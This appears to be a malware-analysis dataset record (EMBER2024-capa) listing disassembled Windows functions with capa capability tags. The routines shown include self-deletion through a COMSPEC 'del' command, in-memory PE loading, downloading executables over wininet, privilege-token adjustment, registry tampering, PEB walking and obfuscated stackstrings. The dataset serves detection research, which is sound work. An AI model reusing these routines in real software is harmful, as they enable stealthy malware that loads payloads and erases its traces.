joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100046e8
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x13f]
mov byte [ebp - 0x140], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x347]
mov byte [ebp - 0x348], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x243]
mov byte [ebp - 0x244], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x140]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x140]
push esi
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x348]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x244]
push str._c_del
push eax
call esi
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x244]
push eax
call esi
lea eax, [ebp - 0x244]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x348]
push 0x40
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x244]
mov dword [ebp - 0x28], eax
pop esi
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3c
push eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], str.Open
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x10004823
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push dword [ebp - 4]
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x140]
push ebx
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 1
pop eax
jmp 0x10004825
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004fd8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x100050e7
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x100050e7
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10005030
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x100050e7
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.100050f5
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x100050b2
push eax
push edi
call fcn.1000525f
pop ecx
pop ecx
push edi
call fcn.100052d9
test eax, eax
pop ecx
je 0x100050e0
push edi
call fcn.100051a2
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x100050ee
add eax, ebx
test eax, eax
je 0x100050e0
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x100050eb
push edi
call fcn.10005498
pop ecx
xor eax, eax
jmp 0x100050f0
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100050f5
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x1000519f
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10005160
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10005189
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x10005189
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x1000512e
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10005b96
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10005b32
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10005c11
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, 0x128
mov ebx, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005c6b
push dword [esp + 0x10]
lea edi, [esi + 0x24]
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
pop ecx
jmp 0x10005c62
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005c6b
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10005c4c
mov eax, dword [esi + 8]
jmp 0x10005c6d
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x10005c71
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007260
push 0x100066e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x10005d2d
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x10005d32
mov dword [ebp - 0x28], edi
jmp 0x10005d36
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.10005d54
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005d6f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007270
push 0x100066e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x44], 0x4f
mov byte [ebp - 0x43], 0x70
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], 0x49
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x44
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x73
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x70
xor ebx, ebx
mov byte [ebp - 0x34], bl
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x1c], eax
push str.OpenDesktopA
push dword [ebp - 0x24]
call esi
mov edi, eax
push str.CloseDesktop
push dword [ebp - 0x24]
call esi
mov esi, eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
push 0x1ff
push ebx
push ebx
je 0x10005e2c
push dword [ebp + 8]
call edi
jmp 0x10005e2f
call dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x10005e46
push eax
call fcn.10005c71
pop ecx
test eax, eax
jne 0x10005e49
push dword [ebp - 0x2c]
call esi
mov dword [ebp - 0x20], ebx
or dword [ebp - 4], 0xffffffff
call fcn.10005e66
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005e75
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10005ee3
push str.InternetOpenUrlA
push edi
call esi
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x10005ef5
cmp edi, ebx
je 0x10005eee
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x10005fad
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10005f83
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x10005f52
cmp word [ebp - 0x41c], 0x5a4d
jne 0x10005f74
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x10005f77
jmp 0x10005f16
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x10005faa
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005fb2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ADVAPI32.dll
mov byte [ebp - 1], 1
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.AdjustTokenPrivileges
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x14], eax
call edi
push str.GetCurrentProcess
push eax
mov dword [ebp - 0xc], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x10006086
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 1
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push 0
call dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push eax
push 0x10
push ecx
push eax
push dword [ebp - 8]
call dword [ebp - 0x18]
push str.KERNEL32.dll
call edi
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10006061
and byte [ebp - 1], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x10006077
push ebx
call esi
cmp dword [ebp - 0xc], 0
je 0x10006082
push dword [ebp - 0xc]
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100063df
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007290
push 0x100066e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov dword [ebp - 0x28], eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x100064c5
dec eax
je 0x100064e3
dec eax
je 0x1000649f
dec eax
jne 0x10006540
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10006540
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x40]
jmp 0x10006535
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10006540
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x1c]
jmp 0x10006535
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x2c]
test eax, eax
jne 0x10006540
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10006540
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe 0x10006540
cmp esi, 2
jbe 0x1000651c
cmp esi, 4
je 0x10006512
cmp esi, 7
je 0x1000651c
jmp 0x10006540
push 4
lea eax, [ebp + 0x1c]
push eax
push 4
jmp 0x1000652b
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x18]
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x34]
test eax, eax
jne 0x10006540
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000656b
cmp edi, ebx
je 0x10006554
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006578
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10006595
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x10006595
xor eax, eax
ret
push 1
pop eax
ret
Function at 0x42459c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x4245b8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4245ba
shr eax, 1
dec edx
jne 0x4245ab
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4245a4
pop esi
ret

Function at 0x4245d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x4c0908], 0
jne 0x4245fa
call fcn.0042459c
mov dword [esp], 0x4c0908
mov edx, dword [esp]
mov eax, 1
lock xchg dword [edx], eax
mov eax, edi
test esi, esi
je 0x424624
mov edx, 0xff
and edx, ebx
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x4c090c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x424600
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4098b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x409963
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]
Function at 0x409ddf
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00409f8f
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x409edd
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x409e80
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x409ec3
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x409e97
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x409eb2
test al, 0x40
je 0x409ea9
mov ecx, dword [edi + 0x20]
jmp 0x409eb0
test al, 0x80
je 0x409ec3
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x409ec3
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x409e4f
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x40b7b4
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40b868
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040b744
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40b841
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b874
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40b88f
test ebp, ebp
je 0x40b88f
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40b897
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40b8d7
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40b933
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40b92e
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40b919
test dl, dl
je 0x40b915
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40b919
add ecx, 2
add eax, 2
test dl, dl
jne 0x40b8f9
xor eax, eax
jmp 0x40b91e
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b93d
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40b8e6
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40b954
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040b7b4
test eax, eax
jne 0x40b96c
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040b874
mov esi, eax
test esi, esi
jne 0x40b9a2
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x40b9bc
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret